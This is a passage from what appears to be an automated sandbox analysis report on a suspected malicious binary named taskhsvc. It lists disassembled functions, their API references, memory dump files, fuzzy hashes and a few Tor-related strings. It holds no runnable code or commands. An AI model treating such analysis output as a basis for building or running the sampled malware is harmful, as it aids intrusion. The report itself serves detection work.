                                          • Part of subcall function 00C6CD66: abort.MSVCRT ref: 00C6CE80
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C4E601
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$freestrlen$strncmp
                                        • String ID:
                                        • API String ID: 3957137230-0
                                        • Opcode ID: d88a6509a05ecf121b943f180e06e234b6d50e6e0c9d6afaee54cc546ab02936
                                        • Instruction ID: 118a51d3467504df1ea1409c73e811cfbe9d0613a1b9e7406210942f64003c3f
                                        • Opcode Fuzzy Hash: d88a6509a05ecf121b943f180e06e234b6d50e6e0c9d6afaee54cc546ab02936
                                        • Instruction Fuzzy Hash: 52819DB4E042199FCB10DFA9D585AADBBF0BF08304F128419E854EB355E778EA84DF61
                                        Function 00D1F194 Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D1F1F0
                                          • Part of subcall function 00D21144: memset.MSVCRT ref: 00D2117D
                                          • Part of subcall function 00D21144: __stack_chk_fail.LIBSSP-0 ref: 00D21190
                                          • Part of subcall function 00D1E604: memcpy.MSVCRT ref: 00D1E638
                                          • Part of subcall function 00D1E604: __stack_chk_fail.LIBSSP-0 ref: 00D1E649
                                        • abort.MSVCRT ref: 00D1F22F
                                        • abort.MSVCRT ref: 00D1F26E
                                        • abort.MSVCRT ref: 00D1F319
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D1F3A5
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr$memcpymemset
                                        • String ID:
                                        • API String ID: 632605181-0
                                        • Opcode ID: 0ba98ef1aae99b57e0ac8f2928fb69c7247c02c53d2766c27c55534af4a42772
                                        • Instruction ID: 3572f04ccd737fdae14129a8f553d897922357e4f696299e5afe9e2be8a1812e
                                        • Opcode Fuzzy Hash: 0ba98ef1aae99b57e0ac8f2928fb69c7247c02c53d2766c27c55534af4a42772
                                        • Instruction Fuzzy Hash: 65619F74905308AFDB00EFA8E585A9DBBF1EF48344F05C429E884AB365DB74E985CF61
                                        Function 00C99C7B Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 188COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C99C2F: __stack_chk_fail.LIBSSP-0 ref: 00C99C74
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C99FC0
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: ,$fetched enough directory info$received a consensus with exits
                                        • API String ID: 4216919130-3206850573
                                        • Opcode ID: 23e1c24e3a157a246a5b21b938b97f74ed1fd14850d463d8f22b65648d1a1556
                                        • Instruction ID: 91a2585cb7f436fc36c40d34361aafbb79a4a36049c1475d356d3f83d1aa911f
                                        • Opcode Fuzzy Hash: 23e1c24e3a157a246a5b21b938b97f74ed1fd14850d463d8f22b65648d1a1556
                                        • Instruction Fuzzy Hash: 0F81F9B09083459FDF10DFA9D0897AEBBF0EB49314F04885EE4A8A7251D7789984DF62
                                        Function 00BF0A12 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BF0A3E
                                          • Part of subcall function 00BE3DED: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BC1825), ref: 00BE3E14
                                          • Part of subcall function 00BF0D83: __stack_chk_fail.LIBSSP-0 ref: 00BF1529
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF0D39
                                          • Part of subcall function 00D1919B: strerror.MSVCRT ref: 00D191ED
                                          • Part of subcall function 00D1919B: __stack_chk_fail.LIBSSP-0 ref: 00D191FD
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortstrerror
                                        • String ID: (unknown, errno was 0)$;
                                        • API String ID: 3660670763-788531020
                                        • Opcode ID: 8de1e1952061a21e845ee53554c81abaa0342be4f243a56c82d5dccabfb2d395
                                        • Instruction ID: 3c3e934c076ca1a287f61471e804cc21abfc27c979d53b3c5cc669fb189de95f
                                        • Opcode Fuzzy Hash: 8de1e1952061a21e845ee53554c81abaa0342be4f243a56c82d5dccabfb2d395
                                        • Instruction Fuzzy Hash: A041CC749147499FCB00EFB9C4855ADFBF0AF05300F05889AE998AB352DB34D884DF62
                                        Function 00C117F8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00C1185E
                                          • Part of subcall function 00BC262A: abort.MSVCRT ref: 00BC267A
